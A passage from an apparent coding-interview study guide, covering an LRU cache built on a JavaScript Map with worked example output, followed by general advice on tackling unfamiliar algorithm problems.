console.log(coinChange([2], 3)) // -1
```

 **Likely follow-up:** Count the number of ways to make the amount instead of the fewest coins.

147

**Design and implement an LRU cache with  $O(1)$  get and put.**

DSA Medium 🔥🔥 #design #hash map #linked list

Classic design: a **hash map** for  $O(1)$  lookup plus a **doubly linked list** ordered by recency. On **get**, move the node to the front; on **put**, insert at the front and, if over capacity, **evict the node at the tail**. Map and list together give  $O(1)$  for everything.

In JavaScript a **Map** already keeps insertion order, so a short version works: on access, delete and re-insert the key (now newest); evict `map.keys().next().value` (oldest).

Mention that this relies on Map ordering and that in other languages you would build the linked list (or use `LinkedHashMap` in Java).

#### Example

```
class LRUCache {
  constructor(capacity) { this.cap = capacity; this.map = new Map() }
  get(key) {
    if (!this.map.has(key)) return -1
    const v = this.map.get(key)
    this.map.delete(key); this.map.set(key, v) // mark most recent
    return v
  }
  put(key, value) {
    this.map.delete(key)
    this.map.set(key, value)
    if (this.map.size > this.cap)
      this.map.delete(this.map.keys().next().value) // oldest
  }
}

const c = new LRUCache(2)
c.put(1, 'a'); c.put(2, 'b')
console.log(c.get(1)) // a (1 is now most recent)
c.put(3, 'c') // evicts 2
console.log(c.get(2), c.get(3), [...c.map.keys()]) // -1 c [1, 3]
```

 **Likely follow-up:** Implement it with an explicit doubly linked list.

148

How do you approach a coding problem you have never seen before?

DSA

Easy



#strategy

Interviewers grade the process as much as the code:

- **Clarify:** restate the problem, ask about input size, ranges, duplicates, negatives, empty input, expected output format
- **Examples:** work a small case by hand, plus an edge case
- **Brute force first:** say it and its complexity, so you have a baseline
- **Optimise** by matching patterns: sorted input suggests binary search or two pointers; "subarray/substring" suggests sliding window or prefix sums; "top k" a heap; "number of ways/min cost" DP; relations a graph; lookups a hash map
- **Use the constraints:** n up to  $10^5$  needs  $O(n \log n)$ ; n up to 20 allows  $O(2^n)$

- **Code** cleanly with good names, talking through your reasoning
- **Test**: dry-run your examples and edge cases, then state time and space complexity